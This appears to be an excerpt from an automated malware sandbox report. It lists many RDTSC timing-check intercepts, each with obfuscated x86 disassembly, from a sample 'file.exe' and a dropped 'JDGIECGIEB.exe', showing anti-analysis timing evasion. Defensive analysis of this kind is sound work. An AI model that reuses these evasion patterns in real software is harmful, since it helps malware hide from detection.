mov dword ptr [ebp-04h], FFFFFFFEh 0x00000051 mov dword ptr [ebp-08h], eax 0x00000054 lea eax, dword ptr [ebp-10h] 0x00000057 mov dword ptr fs:[00000000h], eax 0x0000005d ret 0x0000005e jmp 00007F44646ECA56h 0x00000063 and dword ptr [ebp-04h], 00000000h 0x00000067 jmp 00007F44646ECA50h 0x0000006c mov edx, dword ptr [ebp+0Ch] 0x0000006f push eax 0x00000070 push edx 0x00000071 pushad 0x00000072 mov ecx, ebx 0x00000074 pushad 0x00000075 popad 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B504F1 second address: 4B5052F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F4465131BCEh 0x00000012 xor cx, 1748h 0x00000017 jmp 00007F4465131BCBh 0x0000001c popfd 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5052F second address: 4B505DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44646ECA54h 0x00000009 popad 0x0000000a popad 0x0000000b mov al, byte ptr [edx] 0x0000000d pushad 0x0000000e movzx esi, bx 0x00000011 mov edi, 29F7A23Eh 0x00000016 popad 0x00000017 inc edx 0x00000018 jmp 00007F44646ECA55h 0x0000001d test al, al 0x0000001f pushad 0x00000020 call 00007F44646ECA4Ch 0x00000025 pushfd 0x00000026 jmp 00007F44646ECA52h 0x0000002b jmp 00007F44646ECA55h 0x00000030 popfd 0x00000031 pop esi 0x00000032 push eax 0x00000033 push edx 0x00000034 pushfd 0x00000035 jmp 00007F44646ECA57h 0x0000003a adc ecx, 77AA925Eh 0x00000040 jmp 00007F44646ECA59h 0x00000045 popfd 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B505DE second address: 4B505DE instructions: 0x00000000 rdtsc 0x00000002 mov eax, 21A28327h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jne 00007F4465131B21h 0x00000010 mov al, byte ptr [edx] 0x00000012 pushad 0x00000013 movzx esi, bx 0x00000016 mov edi, 29F7A23Eh 0x0000001b popad 0x0000001c inc edx 0x0000001d jmp 00007F4465131BD5h 0x00000022 test al, al 0x00000024 pushad 0x00000025 call 00007F4465131BCCh 0x0000002a pushfd 0x0000002b jmp 00007F4465131BD2h 0x00000030 jmp 00007F4465131BD5h 0x00000035 popfd 0x00000036 pop esi 0x00000037 push eax 0x00000038 push edx 0x00000039 pushfd 0x0000003a jmp 00007F4465131BD7h 0x0000003f adc ecx, 77AA925Eh 0x00000045 jmp 00007F4465131BD9h 0x0000004a popfd 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50600 second address: 4B50604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50604 second address: 4B5060A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5060A second address: 4B5064E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c jmp 00007F44646ECA4Eh 0x00000011 dec edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F44646ECA57h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5064E second address: 4B506D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4465131BD2h 0x00000009 or cx, F578h 0x0000000e jmp 00007F4465131BCBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 lea ebx, dword ptr [edi+01h] 0x0000001a jmp 00007F4465131BD6h 0x0000001f mov al, byte ptr [edi+01h] 0x00000022 pushad 0x00000023 mov bx, ax 0x00000026 push esi 0x00000027 mov dx, CD1Ch 0x0000002b pop edi 0x0000002c popad 0x0000002d inc edi 0x0000002e jmp 00007F4465131BD0h 0x00000033 test al, al 0x00000035 jmp 00007F4465131BD0h 0x0000003a jne 00007F44D5B49F83h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F4465131BCAh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B506D6 second address: 4B506E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B506E5 second address: 4B506EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B506EB second address: 4B506EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B506EF second address: 4B50757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d jmp 00007F4465131BD6h 0x00000012 shr ecx, 02h 0x00000015 pushad 0x00000016 jmp 00007F4465131BCEh 0x0000001b pushfd 0x0000001c jmp 00007F4465131BD2h 0x00000021 sub al, FFFFFF88h 0x00000024 jmp 00007F4465131BCBh 0x00000029 popfd 0x0000002a popad 0x0000002b rep movsd 0x0000002d rep movsd 0x0000002f rep movsd 0x00000031 rep movsd 0x00000033 rep movsd 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push edx 0x00000039 pop esi 0x0000003a pushad 0x0000003b popad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50757 second address: 4B50774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44646ECA59h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50774 second address: 4B507B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a pushad 0x0000000b jmp 00007F4465131BD3h 0x00000010 jmp 00007F4465131BD8h 0x00000015 popad 0x00000016 and ecx, 03h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B507B4 second address: 4B507B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B507B8 second address: 4B507BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B507BC second address: 4B507C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B507C2 second address: 4B508B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F4465131BCCh 0x00000013 sbb ah, 00000038h 0x00000016 jmp 00007F4465131BCBh 0x0000001b popfd 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pushfd 0x00000020 jmp 00007F4465131BD6h 0x00000025 xor esi, 7FC66798h 0x0000002b jmp 00007F4465131BCBh 0x00000030 popfd 0x00000031 popad 0x00000032 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000039 jmp 00007F4465131BD6h 0x0000003e mov eax, ebx 0x00000040 jmp 00007F4465131BD0h 0x00000045 mov ecx, dword ptr [ebp-10h] 0x00000048 pushad 0x00000049 push eax 0x0000004a mov cx, di 0x0000004d pop edx 0x0000004e popad 0x0000004f mov dword ptr fs:[00000000h], ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 pushfd 0x0000005a jmp 00007F4465131BCCh 0x0000005f jmp 00007F4465131BD5h 0x00000064 popfd 0x00000065 pushfd 0x00000066 jmp 00007F4465131BD0h 0x0000006b adc esi, 46DC7DE8h 0x00000071 jmp 00007F4465131BCBh 0x00000076 popfd 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B508B1 second address: 4B508B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B508B7 second address: 4B508BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B508BB second address: 4B50909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a pushad 0x0000000b mov edx, 6C328D2Eh 0x00000010 mov ah, dl 0x00000012 popad 0x00000013 pushfd 0x00000014 jmp 00007F44646ECA50h 0x00000019 sub cx, 1B78h 0x0000001e jmp 00007F44646ECA4Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F44646ECA55h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50909 second address: 4B5093B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4465131BD8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5093B second address: 4B5094A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5094A second address: 4B5097A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4465131BCFh 0x00000008 push ecx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebx 0x0000000e jmp 00007F4465131BD2h 0x00000013 leave 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 mov cl, 03h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5097A second address: 4B50475 instructions: 0x00000000 rdtsc 0x00000002 mov eax, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F44646ECA55h 0x0000000c adc esi, 4ECFC196h 0x00000012 jmp 00007F44646ECA51h 0x00000017 popfd 0x00000018 popad 0x00000019 retn 0008h 0x0000001c cmp dword ptr [ebp-2Ch], 10h 0x00000020 mov eax, dword ptr [ebp-40h] 0x00000023 jnc 00007F44646ECA45h 0x00000025 push eax 0x00000026 lea edx, dword ptr [ebp-00000590h] 0x0000002c push edx 0x0000002d call esi 0x0000002f push 00000008h 0x00000031 pushad 0x00000032 mov di, ax 0x00000035 push esi 0x00000036 pushfd 0x00000037 jmp 00007F44646ECA57h 0x0000003c adc eax, 0BF78E8Eh 0x00000042 jmp 00007F44646ECA59h 0x00000047 popfd 0x00000048 pop eax 0x00000049 popad 0x0000004a push 3B19AC12h 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 pushfd 0x00000053 jmp 00007F44646ECA59h 0x00000058 xor ecx, 2F5DB176h 0x0000005e jmp 00007F44646ECA51h 0x00000063 popfd 0x00000064 pushfd 0x00000065 jmp 00007F44646ECA50h 0x0000006a sub ah, FFFFFF98h 0x0000006d jmp 00007F44646ECA4Bh 0x00000072 popfd 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50A6D second address: 4B50A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50A74 second address: 4B50AD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44646ECA52h 0x00000008 pushfd 0x00000009 jmp 00007F44646ECA52h 0x0000000e sbb cx, B7F8h 0x00000013 jmp 00007F44646ECA4Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e movsx edx, ax 0x00000021 mov eax, 4AFF3F27h 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F44646ECA54h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50AD4 second address: 4B50AE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 331EC4 second address: 331EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 331EC9 second address: 331ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 331ED1 second address: 331ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 331ED5 second address: 331ED9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 331ED9 second address: 331F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F44646ECA55h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 js 00007F44646ECA46h 0x0000001d jmp 00007F44646ECA4Dh 0x00000022 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 331F13 second address: 331F1F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4465131BC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 331F1F second address: 331F4D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F44646ECA46h 0x00000009 jmp 00007F44646ECA53h 0x0000000e pop esi 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F44646ECA4Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 32053D second address: 320543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 330F62 second address: 330F67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 331221 second address: 331250 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4465131BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F4465131BD2h 0x00000010 js 00007F4465131BC6h 0x00000016 jo 00007F4465131BC6h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F4465131BCBh 0x00000023 jo 00007F4465131BC6h 0x00000029 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 334101 second address: 334107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 334107 second address: 3341E5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F4465131BD0h 0x0000000f nop 0x00000010 jng 00007F4465131BD7h 0x00000016 push 00000000h 0x00000018 mov edi, 72E9E73Dh 0x0000001d push 5B00A2B2h 0x00000022 pushad 0x00000023 pushad 0x00000024 jmp 00007F4465131BD1h 0x00000029 jp 00007F4465131BC6h 0x0000002f popad 0x00000030 ja 00007F4465131BC8h 0x00000036 push ebx 0x00000037 pop ebx 0x00000038 popad 0x00000039 xor dword ptr [esp], 5B00A232h 0x00000040 jmp 00007F4465131BCAh 0x00000045 push 00000003h 0x00000047 mov ecx, dword ptr [ebp+122D1DF2h] 0x0000004d push 00000000h 0x0000004f add cx, 3672h 0x00000054 push 00000003h 0x00000056 stc 0x00000057 push 6A667213h 0x0000005c pushad 0x0000005d jnp 00007F4465131BC8h 0x00000063 jmp 00007F4465131BD3h 0x00000068 popad 0x00000069 add dword ptr [esp], 55998DEDh 0x00000070 lea ebx, dword ptr [ebp+12448FDEh] 0x00000076 mov esi, dword ptr [ebp+122D3966h] 0x0000007c or esi, dword ptr [ebp+122D3BD2h] 0x00000082 xchg eax, ebx 0x00000083 ja 00007F4465131BD4h 0x00000089 jmp 00007F4465131BCEh 0x0000008e push eax 0x0000008f jnp 00007F4465131BD4h 0x00000095 push eax 0x00000096 push edx 0x00000097 pushad 0x00000098 popad 0x00000099 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 334230 second address: 334269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov dword ptr [esp], eax 0x00000008 jmp 00007F44646ECA50h 0x0000000d push 00000000h 0x0000000f call 00007F44646ECA49h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F44646ECA53h 0x0000001c rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 334269 second address: 334282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 334282 second address: 3342D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F44646ECA46h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jnc 00007F44646ECA60h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jnp 00007F44646ECA4Eh 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 jmp 00007F44646ECA4Dh 0x00000027 pop ebx 0x00000028 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3342D4 second address: 3342F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BCCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jmp 00007F4465131BCDh 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3342F9 second address: 334311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44646ECA54h 0x00000009 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 334311 second address: 334315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 334315 second address: 33436F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F44646ECA48h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 push 00000003h 0x00000025 mov edx, dword ptr [ebp+122D39EEh] 0x0000002b push 00000000h 0x0000002d mov ch, 46h 0x0000002f mov ecx, 0B8F5166h 0x00000034 push 00000003h 0x00000036 mov ecx, dword ptr [ebp+122D3C36h] 0x0000003c push 4EFF0337h 0x00000041 push eax 0x00000042 push edx 0x00000043 ja 00007F44646ECA4Ch 0x00000049 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 33436F second address: 3343BF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4465131BCCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 7100FCC9h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F4465131BC8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b mov edx, dword ptr [ebp+122D2C2Dh] 0x00000031 mov edi, dword ptr [ebp+122D3926h] 0x00000037 lea ebx, dword ptr [ebp+12448FE7h] 0x0000003d movzx edx, ax 0x00000040 mov cl, dl 0x00000042 xchg eax, ebx 0x00000043 push ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3343BF second address: 3343D0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F44646ECA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3343D0 second address: 3343D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3343D7 second address: 3343E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F44646ECA46h 0x0000000a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 334452 second address: 334456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 33451B second address: 334567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44646ECA4Bh 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ecx 0x0000000d pushad 0x0000000e jmp 00007F44646ECA53h 0x00000013 jnl 00007F44646ECA46h 0x00000019 popad 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jne 00007F44646ECA57h 0x00000027 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 334567 second address: 33459A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 sbb edx, 4979BE05h 0x0000000f lea ebx, dword ptr [ebp+12448FF2h] 0x00000015 sub dword ptr [ebp+122D27A0h], esi 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d pushad 0x0000001e jbe 00007F4465131BC6h 0x00000024 jng 00007F4465131BC6h 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d je 00007F4465131BC6h 0x00000033 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3544DA second address: 3544E4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F44646ECA52h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3544E4 second address: 3544EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35248B second address: 352491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 352491 second address: 352495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 352495 second address: 3524A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3524A1 second address: 3524A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3524A5 second address: 3524A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3525BF second address: 3525F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4465131BD4h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4465131BCBh 0x00000012 jmp 00007F4465131BD0h 0x00000017 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 352894 second address: 352898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 352898 second address: 3528C1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jc 00007F4465131BC6h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop edi 0x00000012 popad 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007F4465131BC6h 0x0000001c jmp 00007F4465131BCDh 0x00000021 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3528C1 second address: 3528CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
